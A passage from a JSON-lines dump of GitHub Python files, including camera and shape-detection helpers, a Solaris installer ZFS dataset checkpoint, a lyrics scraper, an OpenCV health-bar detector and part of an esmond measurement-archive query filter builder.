cv2.VideoCapture(1,cv2.CAP_DSHOW)\n \n if not cap.isOpened():\n if verbose:\n print(\"Failed, trying capture settings: ''0''\")\n cap = cv2.VideoCapture(0)\n \n if not cap.isOpened():\n if verbose:\n print(\"Failed, trying capture settings: ''1''\")\n cap = cv2.VideoCapture(1) \n \n if not cap.isOpened(): \n print(\"Failed to open camera\")\n print(\"Exiting program...\")\n exit()\n \n print(\"Camera initialization successful\")\n return cap\n\ndef program_exit(cap):\n print(\"Failed to get shape coordinates\")\n print(\"Exiting program\")\n cap.release()\n cv2.destroyAllWindows()\n exit()\n\n\ndef is_shape_detected(cap, shape, verbose, debug):\n search_for_shape = True\n return Shape_dectection(cap, shape, search_for_shape, verbose, debug)\n\n\n#Return codes from Shape_detection:\n# return = -1: camera is not opened or if frame is read incorrectly. Should close the program\n# return = True/False: Used for \"is shape detected\"\n# return = 444: hand not found. Search for hand must be run\n# return[1] = [6666,6666]: big error. Search for shape should be run\n# return[1] = [8888,8888]: Shape not visible and no close red colors. Shape should be picked up\n\ndef get_shape_coordinates(cap, shape, verbose, debug):\n search_for_shape = False\n coord_matrix = Shape_dectection(cap, shape, search_for_shape, verbose, debug)\n\n if coord_matrix == -1:\n program_exit()\n \n return coord_matrix","repo_name":"erik-brusewitz/TIF160_project","sub_path":"Image_Analysis/robot_vision.py","file_name":"robot_vision.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70523748635","text":"from solaris_install.engine import InstallEngine\nfrom solaris_install.engine.checkpoint import AbstractCheckpoint as Checkpoint\nfrom solaris_install.target import Target\nfrom solaris_install.target.logical import BE, Filesystem, Options, Zvol, Zpool\n\nVAR_DATASET_NAME = \"var\"\nVAR_DATASET_MOUNTPOINT = \"/var\"\nVARSHARE_DATASET_NAME = \"VARSHARE\"\nVARSHARE_DATASET_MOUNTPOINT = \"/var/share\"\n\n\nclass VarShareDatasetError(Exception):\n \"\"\"Error generated during var/share filesystem processing\"\"\"\n\n def __init__(self, msg):\n Exception.__init__(self)\n self.msg = msg\n\n def __str__(self):\n return self.msg\n\n\nclass VarShareDataset(Checkpoint):\n \"\"\" class to create /var /var/share datasets\n \"\"\"\n\n def __init__(self, name):\n super(VarShareDataset, self).__init__(name)\n\n # lists for specific elements in the DOC\n self.zpool_list = list()\n self.zvol_list = list()\n self.fs_list = list()\n self._root_pool = None\n\n def get_progress_estimate(self):\n \"\"\" Returns an estimate of the time this checkpoint will take\n in seconds\n \"\"\"\n return 1\n\n def parse_doc(self):\n \"\"\" method for parsing data object cache (DOC) objects for use by the\n checkpoint\n \"\"\"\n # doc and target nodes\n self.doc = InstallEngine.get_instance().data_object_cache\n self.target = self.doc.get_descendants(name=Target.DESIRED,\n class_type=Target,\n not_found_is_err=True)[0]\n\n # List of Zpool nodes\n self.zpool_list = self.target.get_descendants(class_type=Zpool,\n not_found_is_err=True)\n\n # List of Zvols\n self.zvol_list = self.target.get_descendants(class_type=Zvol)\n\n # List of Filesystems\n self.fs_list = self.target.get_descendants(class_type=Filesystem)\n\n def in_dataset_list(self, dsname, dsmp):\n \"\"\"\n Search the list of Zvol's and Filesystems in the DESIRED tree for\n matching name or mountpoint. Return the first matching object found.\n\n Paramaters:\n dsname - Dataset name to check for\n dsmp - Dataset mountpoint to check for\n \"\"\"\n # Need to parse through entire list of Zvol's and Datasets\n # checking for both name and mountpoint matches, cannot simply\n # call get_descendants as mountpoint not a valid argument.\n for zv in self.zvol_list:\n if zv.name == dsname:\n return zv\n\n for fs in self.fs_list:\n if fs.name == dsname or fs.mountpoint == dsmp:\n return fs\n\n return None\n\n @property\n def root_pool(self):\n \"\"\" Return root pool from list of zpools \"\"\"\n if self._root_pool is not None:\n return self._root_pool\n\n for root_pool in [z for z in self.zpool_list if z.is_root]:\n self._root_pool = root_pool\n\n return self._root_pool\n\n def add_filesystem(self, fsname, fsmp, in_be):\n \"\"\"\n Add filesystem to root pool.\n\n Paramaters:\n fsname - Filesystem name to add.\n fsmp - Filesystem mountpoint\n in_be - Filesystem within BE or not\n \"\"\"\n # Get Root pool\n if self.root_pool is not None:\n fs = self.root_pool.add_filesystem(fsname, mountpoint=fsmp)\n fs.in_be = in_be\n return fs\n else:\n raise VarShareDatasetError(\"Failed to add '%s' \"\n \"filesystem object, the root pool could not be \"\n \"located.\" % (fsname))\n\n def process_filesystem(self, dsname, dsmountpoint):\n \"\"\"\n Process desired tree for given filesystem and mountpoint.\n\n Parameters:\n dsname - Dataset name to create\n dsmountpoint - Dataset mountpoint\n\n - Filesystem of name \"var\", mountpoint \"/var\", and in_be=True\n must be created by the installer. If any Zvol/Filesystem exists in\n the DESIRED tree that conflicts with this raise exception.\n\n - Filesystem of name \"VARSHARE\", mountpoint \"/var/share\", and\n in_be=False must be created by the installer. If any Zvol/Filesystem\n exists in the DESIRED tree that conflicts with this raise exception.\n \"\"\"\n\n # Process Zvol/Filesystem list, ensure fs does not exist\n desired_ds = self.in_dataset_list(dsname, dsmountpoint)\n if desired_ds is not None:\n if isinstance(desired_ds, Zvol):\n raise VarShareDatasetError(\"Invalid Zvol specified with \"\n \"restricted name '%s'. A dataset of this name is \"\n \"created as a filesystem during installation. \" % \\\n (dsname))\n\n else:\n # Filesystem instance found.\n # Fail if Filesystem is not on root pool\n if not desired_ds.parent.is_root:\n raise VarShareDatasetError(\"Filesystem '%s' being \"\n \"created on non-root pool '%s'.\" % \\\n (dsname, desired_ds.parent.name))\n\n # Fail if name not correct\n if desired_ds.name != dsname:\n raise VarShareDatasetError(\"Invalid dataset name '%s' \"\n \"provided for filesystem being mounted on '%s'. \"\n \"Must be set to '%s'.\" % \\\n (desired_ds.name, dsmountpoint, dsname))\n\n # Fail if mountpoint not correct\n if desired_ds.mountpoint != dsmountpoint and \\\n not (desired_ds.mountpoint is None and \\\n dsname == VAR_DATASET_NAME):\n raise VarShareDatasetError(\"Invalid dataset mountpoint \"\n \"'%s' provided for filesystem '%s'. \"\n \"Must be set to '%s'\" % \\\n (desired_ds.mountpoint, dsname, dsmountpoint))\n\n # Fail if \"var\" Filesystem outside BE\n if not desired_ds.in_be and dsname == VAR_DATASET_NAME:\n raise VarShareDatasetError(\"Filesystem '%s' is being \"\n \"specified outside of root pool Boot Environment.\" % \\\n (dsname))\n\n # Fail if \"share\" Filesystem inside BE\n if desired_ds.in_be and dsname == VARSHARE_DATASET_NAME:\n raise VarShareDatasetError(\"Filesystem '%s' is being \"\n \"specified inside of root pool Boot Environment.\" % \\\n (dsname))\n\n # At this point we have a Filesystem object which matches\n # what is required by installation, no need to add new object\n # to desired tree.\n\n # Validate compression and canmount ZFS properties\n if desired_ds.name == VARSHARE_DATASET_NAME:\n opt_dict = dict()\n\n # If compression set on /var, ensure it's inherited by\n # VARSHARE unless compression for VARSHARE was specified\n # manually\n var_comp = self.get_fs_opt(VAR_DATASET_NAME,\n VAR_DATASET_MOUNTPOINT, \"compression\")\n varshare_comp = self.get_fs_opt(VARSHARE_DATASET_NAME,\n VARSHARE_DATASET_MOUNTPOINT, \"compression\")\n\n if var_comp is not None and varshare_comp is None:\n # Ensure compression set on VARSHARE\n opt_dict[\"compression\"] = var_comp\n elif var_comp != varshare_comp:\n self.logger.debug(\"ZFS dataset property \"\n \"'compression' manually set to '%s' for dataset \"\n \"'%s' in manifest.\" % \\\n (varshare_comp, VARSHARE_DATASET_NAME))\n else:\n # Check for BE option for compression and inherit\n # from here if not set on var itself\n be = self.target.get_descendants(class_type=BE)[0]\n be_comp = self.get_option(be, \"compression\")\n if be_comp:\n opt_dict[\"compression\"] = be_comp\n\n canmount = self.get_fs_opt(VARSHARE_DATASET_NAME,\n VARSHARE_DATASET_MOUNTPOINT, \"canmount\")\n if canmount is None:\n # Set canmount property to noauto for VARSHARE\n opt_dict[\"canmount\"] = \"noauto\"\n elif canmount != \"noauto\":\n self.logger.debug(\"ZFS dataset property \"\n \"'canmount' manually set to '%s' for dataset \"\n \"'%s' in manifest.\" % \\\n (canmount, VARSHARE_DATASET_NAME))\n\n # Add options if necessary\n if opt_dict:\n self.add_options_to_fs(desired_ds, opt_dict)\n return\n\n # If we get to here, we have not found filesystem in desired tree\n # So we need to add it as a filesystem to the root pool\n if dsname == VAR_DATASET_NAME:\n self.add_filesystem(dsname, dsmountpoint, in_be=True)\n else:\n new_fs = self.add_filesystem(dsname, dsmountpoint, in_be=False)\n\n # Set canmount property to noauto for VARSHARE\n opt_dict = {\"canmount\": \"noauto\"}\n\n # Inherit compression if set on var\n var_comp = self.get_fs_opt(VAR_DATASET_NAME,\n VAR_DATASET_MOUNTPOINT, \"compression\")\n if var_comp is not None:\n opt_dict[\"compression\"] = var_comp\n else:\n be = self.target.get_descendants(class_type=BE)[0]\n be_comp = self.get_option(be, \"compression\")\n if be_comp:\n opt_dict[\"compression\"] = be_comp\n\n self.add_options_to_fs(new_fs, opt_dict)\n\n def add_options_to_fs(self, fs, opt_dict):\n \"\"\" Add options specified in opt_dict to specified filesystem \"\"\"\n fs_opts = fs.get_descendants(class_type=Options)\n\n # Should only have at most one options element\n if fs_opts:\n for key in opt_dict:\n fs_opts[0].data_dict[key] = opt_dict[key]\n else:\n new_options = Options(fs.name, opt_dict)\n fs.insert_children(new_options)\n\n def get_option(self, obj, optname):\n \"\"\" Retrieve option string from obj, return None if not found \"\"\"\n if obj:\n opts = obj.get_descendants(class_type=Options)\n # Should only have at most one options element\n if opts:\n if optname in opts[0].data_dict:\n return opts[0].data_dict[optname]\n return None\n\n def get_fs_opt(self, dsname, dsmount, optname):\n \"\"\" Given a filesystem name, retrieve the specified option from\n the DOC if set. If not found return None.\n \"\"\"\n fs = self.in_dataset_list(dsname, dsmount)\n return self.get_option(fs, optname)\n\n def execute(self, dry_run=False):\n \"\"\" Primary execution method use by the Checkpoint parent class\n \"\"\"\n self.logger.debug(\"Executing Var Share Dataset Addition\")\n\n self.parse_doc()\n self.dry_run = dry_run\n\n # Process /var in_be Filesystem and /var/share global Filesystem\n for fs, mp in [(VAR_DATASET_NAME, VAR_DATASET_MOUNTPOINT),\n (VARSHARE_DATASET_NAME, VARSHARE_DATASET_MOUNTPOINT)]:\n self.process_filesystem(fs, mp)\n","repo_name":"aszeszo/caiman","sub_path":"usr/src/lib/install_target/varshare.py","file_name":"varshare.py","file_ext":"py","file_size_in_byte":11863,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"32112564901","text":"#!/usr/bin/python3\n\"\"\"\nThis module defines a function that adds 2 integers\n\"\"\"\n\n\ndef add_integer(a, b=98):\n \"\"\"\n Args:\n a(int): first number(converted to int if float)\n b(int): second number(converted to int if float)\n\n Returns the addition of a and b on success,\n and raises a typeerror if a and b are not integers or floats\n \"\"\"\n if not isinstance(a, int) and not isinstance(a, float):\n raise TypeError(\"a must be an integer\")\n if not isinstance(b, int) and not isinstance(b, float):\n raise TypeError(\"b must be an integer\")\n return int(a) + int(b)\n","repo_name":"Tobexint/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/0-add_integer.py","file_name":"0-add_integer.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10641487931","text":"import asyncio\nimport re\nimport http.cookiejar\nimport urllib.request, urllib.parse\nimport soup, web\n\ncj = http.cookiejar.CookieJar()\nhandler = urllib.request.HTTPCookieProcessor(cj)\nod = urllib.request.build_opener(handler)\n\ndef match(title, *args):\n for arg in args:\n if arg.lower() not in title.lower():\n return False\n return True\n\nasync def open(url, data=None):\n UA = 'Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1'\n return await web.open(url, data, { 'User-Agent': UA }, od.open)\n\nasync def get(url):\n return soup.parse((await open(url)).decode())\n\nasync def rentanadviser(*args):\n BASE = 'https://www.rentanadviser.com/en/subtitles'\n query = urllib.parse.urlencode({ 'src': ' '.join(args) })\n html = await get(f'{BASE}/subtitles4songs.aspx?{query}')\n links = html.next('div', id='tablecontainer')\n\n for link in links.find('a'):\n if match(link.text(), *args):\n href = link.attrs['href']\n html = await get(f'{BASE}/{href}&type=lrc')\n\n return (await open(f'{BASE}/{href}&type=lrc', urllib.parse.urlencode({\n '__EVENTTARGET': 'ctl00$ContentPlaceHolder1$btnlyrics',\n '__EVENTVALIDATION': html.next('input', id='__EVENTVALIDATION').attrs['value'],\n '__VIEWSTATE': html.next('input', id='__VIEWSTATE').attrs['value']\n }).encode())).decode()\n\nasync def megalobiz(*args):\n BASE = 'https://www.megalobiz.com'\n query = urllib.parse.urlencode({ 'qry': ' '.join(args), 'display': 'more' })\n html = await get(f'{BASE}/search/all?{query}')\n links = html.next('div', id='list_entity_container')\n\n for link in links.find('a', **{ 'class': ['entity_name'] }):\n if match(link.text(), *args):\n html = await get(BASE + link.attrs['href'])\n lrc = html.next('div', **{ 'class': ['lyrics_details'] })\n return lrc.next('span').text()\n\nasync def syair(*args):\n BASE = 'https://www.syair.info'\n query = urllib.parse.urlencode({ 'q': ' '.join(args) })\n html = await get(f'{BASE}/search?{query}')\n links = html.next('div', **{ 'class': ['sub'] })\n\n if links is not None:\n for link in links.find('div', **{ 'class': ['li'] }):\n link = link.next('a')\n if match(link.text(), *args):\n html = await get(BASE + link.attrs['href'])\n for link in html.find('a'):\n if '?download' in link.attrs['href']:\n html = await get(link.attrs['href'])\n for link in html.find('a'):\n if 'download.syair.info' in link.attrs['href']:\n return (await open(link.attrs['href'])).decode()\n\nregex = re.compile(r'\\[(\\d\\d:\\d\\d.\\d\\d)\\]([^\\r\\n]+)')\n\nasync def search(*args):\n tasks = []\n results = []\n tasks.append(asyncio.create_task(rentanadviser(*args)))\n tasks.append(asyncio.create_task(megalobiz(*args)))\n tasks.append(asyncio.create_task(syair(*args)))\n\n for task in tasks:\n try:\n lrc = await task\n if lrc != None:\n results.append(lrc)\n except:\n continue\n \n if len(results) > 0:\n return results[0]\n\ndef parse(data):\n for match in regex.finditer(data):\n tm = match[1].split(':')\n tm = int(tm[0]) * 60 + float(tm[1])\n tx = match[2].strip()\n yield (tm, tx)\n\ndef parse_adjust(data, duration):\n data = list(parse(data))\n delta = max(data[-1][0] - duration, 0) / 1.5\n for i in range(len(data)):\n data[i] = (data[i][0] - delta, data[i][1])\n return (data, int(delta * 1000))","repo_name":"DutChen18/lyrics","sub_path":"src.py","file_name":"src.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32345548527","text":"import cv2\nimport imutils\nimport numpy as np\nimport time\nimport os, sys\ndef detect(c):\n peri = cv2.arcLength(c, True)\n approx = cv2.approxPolyDP(c, 0.04 * peri, True)\n\n if len(approx) == 4:\n (x,y,w,h) = cv2.boundingRect(approx)\n return(\"Rectangle\")\n else:\n return(-1)\n\n\ndef getLines(frame):\n thresh = threshImage(frame.copy())\n #cv2.imshow(\"Red Only\", thresh)\n \n #thresh = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n cv2.imshow(\"Grey\", thresh)\n edges = cv2.Canny(thresh,50,150,apertureSize = 3)\n cv2.imshow(\"Edges\", edges)\n \"\"\"\n lines = cv2.HoughLines(edges,1,np.pi/180,200)\n for rho,theta in lines[0]:\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a*rho\n y0 = b*rho\n x1 = int(x0 + 1000*(-b))\n y1 = int(y0 + 1000*(a))\n x2 = int(x0 - 1000*(-b))\n y2 = int(y0 - 1000*(a))\n\n cv2.line(frame,(x1,y1),(x2,y2),(0,0,255),2)\n \"\"\"\n \n minLineLength = 15\n maxLineGap = 3\n lines = cv2.HoughLinesP(edges,1,np.pi/180,100,minLineLength,maxLineGap)\n for line in lines:\n x1,y1,x2,y2 = line[0]\n cv2.line(frame,(x1,y1),(x2,y2),(0,0,255),4)\n return frame\n\ndef getRects(frame):\n # preprocess img\n #img = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n #cv2.imshow(\"Grey Image\", img)\n #img = cv2.GaussianBlur(frame, (15,15), 0)\n thresh = threshImage(frame.copy())\n cv2.imshow(\"Red Only\", thresh)\n cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n cnts = imutils.grab_contours(cnts)\n\n for c in cnts:\n shape = detect(c)\n if shape != -1:\n #M = cv2.moments(c)\n #cX = int(M[\"m10\"] / M[\"m00\"])\n #cY = int(M[\"m01\"] / M[\"m00\"])\n\n cv2.drawContours(frame, [c], -1, (0,255, 0), 2)\n #cv2.putText( frame, shape, (cX, cY), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255,255,255),2)\n\n return(frame)\n\ndef threshImage(frame):\n (b,g,r) = cv2.split(frame)\n bn = cv2.inRange(b, 0, 15)\n gn = cv2.inRange(g, 16, 255)\n rn = cv2.inRange(r, 56, 255)\n\n thresh2 = bn - gn - rn\n return(thresh2)\n\n\n h = frame.shape[0]\n w = frame.shape[1]\n out = np.zeros([h,w], dtype=np.uint8)\n for u in range(h):\n for v in range(w):\n pt = frame[u][v]\n #if( pt[0] > 40 and pt[0] < 95 and #blue\n # pt[1] > 40 and pt[1] < 85 and #green\n # pt[2] > 85 and pt[2] < 161): # red\n if( pt[0] < 15 and pt[1] < 15 and pt[2] < 55 ):\n out[u][v] = 255 \n return(out)\n\ndef convolv(frame, mat):\n h = frame.shape[0]\n w = frame.shape[1]\n\n mW = mat.shape[1]\n mH = mat.shape[0]\n\n conv = np.zeros([h - mH + 1,w - mW + 1], dtype=np.uint8)\n for u in range(h - mH + 1):\n for v in range(w - mW + 1):\n roi = frame[u:u+mH, v:v+mW]\n conv[u,v] = (roi * mat).sum()\n return conv\n \nif __name__ == \"__main__\":\n # create kernal\n matValue = 1.0/130.0\n mat = np.zeros([6, 61])\n mat[0,:] = matValue\n mat[-1,:] = matValue\n mat[:,0] = matValue\n mat[:,-1] = matValue\n\n # load all images\n testImgFile = \"../data/images/\"\n files = os.listdir(testImgFile)\n print(\"Will look at {} images\".format(len(files)))\n for imgName in files:\n \n img = cv2.imread(testImgFile + imgName)\n cv2.imshow(\"Original\", img)\n start = time.time()\n img[0:130,0:370] = np.ones([130,370,3]) * 255\n img = img[0:800,:]\n \n frame = threshImage(img.copy())\n threshTime = time.time()\n #print(\"Time to threshold image:\", threshTime - start)\n start = time.time()\n #frame = convolv(frame, mat) # my funct takes 5 sec\n frame = cv2.filter2D(frame, -1, mat) # opencv 0.036\n #cv2.imshow(\"Convolved Image\", frame)\n #min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(frame)\n healthBars = np.argwhere( frame > 220 )\n convTime = time.time()\n #print(\"Convolution Time:\", convTime - start)\n for loc in healthBars:\n cv2.rectangle(img, (loc[1] - 30, loc[0] - 3), (loc[1] + 31, loc[0] + 3), (255,0,0),2)\n \n cv2.imshow(\"Final\", img)\n cv2.waitKey(0)\n","repo_name":"RoboNuke/LeagueAI2.0","sub_path":"hpTracker/scripts/rect_finder.py","file_name":"rect_finder.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"50"} +{"seq_id":"73673051356","text":"import logging\nimport re\nfrom socket import AF_INET, AF_INET6\nfrom summaries import DEFAULT_SUMMARIES\nfrom util import *\nfrom werkzeug.exceptions import BadRequest\n\nlog = logging.getLogger('elmond')\n\nMAPPED_FILTERS = {\n #standard\n \"input-source\": \"test.spec.source\",\n \"input-destination\": \"test.spec.dest\",\n \"metadata-key\": \"pscheduler.test_checksum\",\n \"pscheduler-test-type\": \"test.type\",\n #type-specific\n \"bw-buffer-size\": \"test.spec.buffer-length\",\n \"bw-parallel-streams\": \"test.spec.parallel\",\n \"bw-target-bandwidth\": \"test.spec.bandwidth\",\n \"bw-ignore-first-seconds\": \"test.spec.omit\",\n \"ip-dscp\": \"test.spec.dscp\",\n \"ip-fragment\": \"test.spec.fragment\",\n \"ip-packet-flowlabel\": \"test.spec.flowlabel\",\n \"ip-packet-padding\": \"test.spec.packet-padding\",\n \"ip-packet-size\": \"test.spec.length\",\n \"ip-tos\": \"test.spec.tos\",\n \"ip-ttl\": \"test.spec.ttl\",\n \"mode-flip\": \"test.spec.flip\", \n \"mode-single-participant\": \"test.spec.single-participant-mode\",\n \"sample-bucket-width\": \"test.spec.bucket-width\", \n \"tcp-window-size\": \"test.spec.window-size\",\n \"tcp-dynamic-window-size\": \"test.spec.dynamic-window-size\",\n \"tcp-max-segment-size\": \"test.spec.mss\", \n \"trace-algorithm\": \"test.spec.algorithm\",\n \"trace-first-ttl\": \"test.spec.first-ttl\",\n \"trace-max-ttl\": \"test.spec.hops\",\n \"trace-num-queries\": \"test.spec.queries\"\n}\n\nMULTI_FILTERS = {\n \"sample-size\": [\"test.spec.packet-count\", \"test.spec.count\"],\n \"time-probe-interval\": [\"test.spec.packet-interval\", \"test.spec.interval\", \"test.spec.sendwait\"],\n \"time-probe-timeout\": [\"test.spec.packet-timeout\", \"test.spec.deadline\"],\n \"time-test-timeout\": [\"test.spec.timeout\", \"test.spec.wait\"]\n}\n\nIP_FILTERS = {\n \"source\": \"meta.source.ip\",\n \"destination\": \"meta.destination.ip\",\n \"measurement-agent\": \"meta.observer.ip\"\n}\n\nP2P_TESTS = [\n \"disk-to-disk\",\n \"latency\",\n \"latencybg\",\n \"rtt\",\n \"throughput\",\n \"trace\"\n]\n\nTRANSLATE_EVENT_TYPE = {\n \"histogram-owdelay\": [\"latency\",\"latencybg\"],\n \"histogram-ttl\": [\"latency\",\"latencybg\"],\n \"histogram-ttl-reverse\": [\"rtt\"],\n \"histogram-rtt\": [\"rtt\"],\n \"packet-count-lost\": [\"latency\",\"latencybg\", \"throughput\"],\n \"packet-count-lost-bidir\": [\"rtt\"],\n \"packet-count-sent\": [\"latency\",\"latencybg\", \"throughput\", \"rtt\"],\n \"packet-duplicates\": [\"latency\",\"latencybg\"],\n \"packet-duplicates-bidir\": [\"rtt\"],\n \"packet-loss-rate\": [\"latency\",\"latencybg\", \"throughput\"],\n \"packet-loss-rate-bidir\": [\"rtt\"],\n \"packet-reorders\": [\"latency\",\"latencybg\"],\n \"packet-reorders-bidir\": [\"rtt\"],\n \"packet-retransmits\": [\"throughput\"],\n \"packet-retransmits-subintervals\": [\"throughput\"],\n \"packet-trace\": [\"trace\"],\n \"packet-trace-multi\": [\"trace\"],\n \"path-mtu\": [\"trace\"],\n \"streams-packet-retransmits\": [\"throughput\"],\n \"streams-packet-retransmits-subintervals\": [\"throughput\"],\n \"streams-throughput\": [\"throughput\"],\n \"streams-throughput-subintervals\": [\"throughput\"],\n \"throughput\": [\"throughput\", \"disk-to-disk\"],\n \"throughput-subintervals\": [\"throughput\"],\n \"time-error-estimates\": [\"latency\",\"latencybg\"],\n}\n\n'''\nConstants that map to common filters\n'''\nDNS_MATCH_RULE_FILTER = \"dns-match-rule\"\nDNS_MATCH_PREFER_V6 = \"prefer-v6\"\nDNS_MATCH_PREFER_V4 = \"prefer-v4\"\nDNS_MATCH_ONLY_V6 = \"only-v6\"\nDNS_MATCH_ONLY_V4 = \"only-v4\"\nDNS_MATCH_V4_V6 = \"v4v6\"\nRESERVED_GET_PARAMS = [\n \"format\", \n LIMIT_FILTER, \n OFFSET_FILTER, \n DNS_MATCH_RULE_FILTER, \n TIME_FILTER,\n TIME_START_FILTER, \n TIME_END_FILTER, \n TIME_RANGE_FILTER, \n \"event-type\",\n \"summary-type\",\n \"summary-window\"\n]\n\ndef _build_term(key, value):\n return {\n \"term\": {\n key: value\n }\n }\n\ndef _build_gte(key, value):\n return {\n \"range\": {\n key: {\n \"gte\": value\n }\n }\n }\n \ndef _build_key_or(keys, value):\n filter = {\n \"bool\": {\n \"should\": []\n }\n }\n for key in keys:\n filter[\"bool\"][\"should\"].append(_build_term(key, value))\n \n return filter\n\ndef _build_val_or(key, values):\n filter = {\n \"bool\": {\n \"should\": []\n }\n }\n for value in values:\n filter[\"bool\"][\"should\"].append(_build_term(key, value))\n \n return filter\n\ndef _build_ip_filter(key, host, dns_match_rule=DNS_MATCH_V4_V6):\n #get IP address\n addrs = []\n addr4 = None\n addr6 = None\n if dns_match_rule == DNS_MATCH_ONLY_V6:\n addr6 = lookup_hostname(host, AF_INET6)\n elif dns_match_rule == DNS_MATCH_ONLY_V4:\n addr4 = lookup_hostname(host, AF_INET)\n elif dns_match_rule == DNS_MATCH_PREFER_V6:\n addr6 = lookup_hostname(host, AF_INET6)\n if addr6 is None:\n addr4 = lookup_hostname(host, AF_INET)\n elif dns_match_rule == DNS_MATCH_PREFER_V4:\n addr4 = lookup_hostname(host, AF_INET)\n if addr4 is None:\n addr6 = lookup_hostname(host, AF_INET6)\n elif dns_match_rule == DNS_MATCH_V4_V6:\n addr6 = lookup_hostname(host, AF_INET6)\n addr4 = lookup_hostname(host, AF_INET)\n else:\n raise BadRequest(\"Invalid dns-match-rule parameter {0}\".format(dns_match_rule))\n \n #add results to list\n if addr4: addrs.append(addr4)\n if addr6: addrs.append(addr6)\n if len(addrs) == 0:\n raise BadRequest(\"Unable to find address for host {0}\".format(host))\n \n #build filter\n return _build_val_or(key, addrs)\n\ndef _build_event_type(event_type, summary_type, summary_window): \n event_types = []\n if summary_type or summary_window:\n #if we have summary_type and/or window, make sure we have a useable combo\n matching_et_map = {}\n for et in DEFAULT_SUMMARIES:\n if event_type is None or event_type == et:\n for s in DEFAULT_SUMMARIES[et]:\n if summary_type is None or summary_type == s['summary-type']:\n if summary_window is None or int(summary_window) == s['summary-window']:\n matching_et_map[et] = True\n if matching_et_map:\n event_types = matching_et_map.keys() \n else:\n #impossible to match anything\n return None\n elif event_type:\n #if just event type, that's easy\n event_types.append(event_type) \n \n #built a map of test types we need\n test_type_map = {}\n for e in event_types:\n if e in TRANSLATE_EVENT_TYPE:\n for te in TRANSLATE_EVENT_TYPE[e]:\n test_type_map[te] = True\n elif e == \"pscheduler-run-href\" or \"pscheduler-raw\":\n #could be anything\n return []\n else:\n #bad event type\n raise BadRequest(\"Invalid event-type parameter {0}\".format(e))\n \n #now that we have test types, build the filter\n #this is imperfect because some events only present\n # when other parameters are set \n # like throughput tests with udp set also report loss but not retransmits\n filter = {\n \"bool\": {\n \"should\": []\n }\n }\n for test_type in test_type_map:\n if event_type and test_type == \"throughput\":\n must_filter = { \"bool\": { \"must\": [] } }\n if event_type.startswith(\"streams-packet-retransmits\"):\n #must have parrallel >= 2 and NOT be UDP\n must_filter[\"bool\"][\"must\"].append(_build_term(\"test.type\", test_type))\n must_filter[\"bool\"][\"must\"].append(_build_gte(\"test.spec.parallel\", 2))\n must_filter[\"bool\"][\"must_not\"] = _build_term(\"test.spec.udp\", True)\n filter[\"bool\"][\"should\"].append(must_filter)\n elif event_type.startswith(\"streams-\"):\n #must have parrallel >= 2\n must_filter[\"bool\"][\"must\"].append(_build_term(\"test.type\", test_type))\n must_filter[\"bool\"][\"must\"].append(_build_gte(\"test.spec.parallel\", 2))\n filter[\"bool\"][\"should\"].append(must_filter)\n elif event_type.startswith(\"packet-retransmits\"):\n #must NOT be UDP\n must_filter[\"bool\"][\"must\"].append(_build_term(\"test.type\", test_type))\n must_filter[\"bool\"][\"must_not\"] = _build_term(\"test.spec.udp\", True)\n filter[\"bool\"][\"should\"].append(must_filter)\n elif event_type.startswith(\"packet-\"):\n #must be UDP\n must_filter[\"bool\"][\"must\"].append(_build_term(\"test.type\", test_type))\n must_filter[\"bool\"][\"must\"] = _build_term(\"test.spec.udp\", True)\n filter[\"bool\"][\"should\"].append(must_filter)\n else:\n #everything else, just check the type\n filter[\"bool\"][\"should\"].append(_build_term(\"test.type\", test_type))\n elif event_type == \"packet-trace-multi\":\n #check algorithm is 'paris-traceroute'\n must_filter = { \"bool\": { \"must\": [] } }\n must_filter.append(_build_term(\"test.type\", test_type))\n must_filter.append(_build_term(\"test.spec.algorithm\", \"paris-traceroute\"))\n filter[\"bool\"][\"should\"].append(must_filter)\n else:\n #everything else just check the test.type\n filter[\"bool\"][\"should\"].append(_build_term(\"test.type\", test_type))\n \n return filter\n\ndef _build_subj_type(value):\n filter = {\n \"bool\": {\n \"should\": []\n }\n }\n for t in P2P_TESTS:\n filter[\"bool\"][\"should\"].append(_build_term(\"test.type\", t))\n if value == \"network-element\":\n #anything but the point-to-point tests\n filter = {\n \"bool\": {\n \"must_not\": filter\n }\n }\n elif value != \"point-to-point\":\n raise BadRequest(\"Invalid subject-type {0}.\".format(value))\n \n return filter\n \ndef _build_proto(value):\n filter = {\n \"bool\": {\n \"should\": []\n }\n }\n #match for trace. Note that esmond archiver does not set if not specified\n filter[\"bool\"][\"should\"].append(_build_term(\"test.spec.probe-type\", value.lower()))\n #match for throughput. note esmond archiver always sets to TCP if not UDP\n if value.lower()=='udp':\n # a test with udp set to true\n filter[\"bool\"][\"should\"].append(_build_term(\"test.spec.udp\", True))\n elif value.lower()=='tcp':\n #any throughput test that doesn't have UDP set to true\n filter[\"bool\"][\"must_not\"] = _build_term(\"test.spec.udp\", True)\n filter[\"bool\"][\"should\"].append(_build_term(\"test.type\", \"throughput\"))\n \n return filter\n\ndef build_time_filter(params, time_field=\"pscheduler.start_time\"):\n range_dsl = { \"range\": { time_field: {} } }\n time_filters = handle_time_filters(params)\n if(time_filters[\"has_filters\"]):\n print(\"begin_ts={0}, end_ts={1}\".format(time_filters['begin'], time_filters['end']))\n begin = datetime.datetime.utcfromtimestamp(time_filters['begin'])\n print(\"begin={0}\".format(begin))\n range_dsl[\"range\"][time_field][\"gte\"] = begin\n if 